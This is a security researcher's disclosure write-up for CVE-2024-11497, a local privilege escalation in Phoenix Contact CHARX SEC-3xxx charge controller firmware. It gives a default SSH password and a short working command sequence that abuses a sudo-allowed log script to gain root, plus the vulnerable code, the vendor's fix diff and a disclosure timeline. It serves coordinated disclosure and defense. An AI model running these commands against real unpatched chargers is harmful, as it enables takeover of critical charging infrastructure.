CVE-2024-11497: Privilege escalation on Phoenix Contact CHARX-SEC3xxx charge controllers
Finding a vulnerability through firmware analysis
My methodology, report, and PoC on finding a privilege escalation vulnerability on Phoenix Contact CHARX SEC-3xxx charge controllers with firmware version <1.7.0.
Methodology
(write-up in progress)
Report
The following findings regard firmware version 1.6.3 of the CHARX SEC-3xxx Linux environment. Static analysis shows the same flaws on the oldest publicly available version, 1.2.1, therefore I assume all available firmware versions are affected.
Summary
As per /etc/sudoers.d/user-app, the user user-app is allowed to execute /usr/local/bin/charx_pack_logs as root using sudo charx_pack_logs.
By abusing charx_pack_logs the user is able to delete and replace any file with a log archive file with world-rwx permissions (chmod 777). This effectively allows the user to gain write permissions to any file.
Through this mechanism, the user can replace another sudo-enabled script, gaining write permissions to it, therefore gaining root permissions.
Reproduction / Exploit
Log in via SSH as user-app (default password: user) and execute:
cp /usr/local/bin/charx_set_timezone /tmp/
sudo charx_pack_logs /usr/local/bin/charx_set_timezone
cat /tmp/charx_set_timezone > /usr/local/bin/charx_set_timezone
rm /tmp/charx_set_timezone
The user has now gained write permissions to /usr/local/bin/charx_set_timezone, which can be executed as root using sudo. Adding any commands to execute as root or just /bin/bash to the script and executing sudo charx_set_timezone finalizes the privilege escalation.
Relevant code and configuration
/etc/sudoers.d/user-app (excerpt)
user-app ALL=(ALL) NOPASSWD:/usr/local/bin/charx_set_timezone, [...] /usr/local/bin/charx_pack_logs, [...]
/usr/local/bin/charx_pack_logs (excerpt)
#!/bin/sh
[...]
CHMOD_LOGFILE="/bin/chmod 777"
target_file=$1
[...]
if [ -f $target_file ];then
/bin/rm $target_file
fi
[...]
filename=$target_file
# remove all whitespace and "=" character from filename to prevent command injection
filename_safe=${filename//[[:blank:]]/}
filename_safe=${filename_safe//[=]/}
# try to create the file to see whether the filename is valid
if ! "/bin/touch $filename_safe" 2>/dev/null
then
$TAR $filename_safe $charx_logfiles $submodule_logfiles
$CHMOD_LOGFILE $filename_safe
else
echo "Invalid filename"
exit 1
fi
Fix
The vulnerability in charx_pack_logs was fixed by updating the permissions from 777 to 644 and checking the target file name to have a .tar.gz extension. The script was furthermore proofed against path confusion and argument splitting bugs by introducing full paths for commands and quotes around variables:
$ diff v1.6.3/charx_pack_logs v1.7.0/charx_pack_logs
6,8c6,7
< FIND_ARGS="-type f"
< CHMOD_LOGFILE="/bin/chmod 777"
< target_file=$1
---
> CHMOD_LOGFILE="/bin/chmod 644"
> target_file="$1"
10c9
< if [ -z $target_file ];then
---
> if [ -z "$target_file" ];then
16,17c15,21
< if [ -f $target_file ];then
< /bin/rm $target_file
---
> if [[ "$target_file" != *.tar.gz ]]; then
> echo "Invalid file type"
> exit 1
> fi
>
> if [ -f "$target_file" ];then
> /bin/rm "$target_file"
[...]
Timeline
2024-11-12 Report sent to VDE CERT
2024-11-20 Finding confirmed by Phoenix Contact upon inquiry
2024-12-09 Fix scheduled for January release
2025-01-14 Security advisory released (fixed firmware available)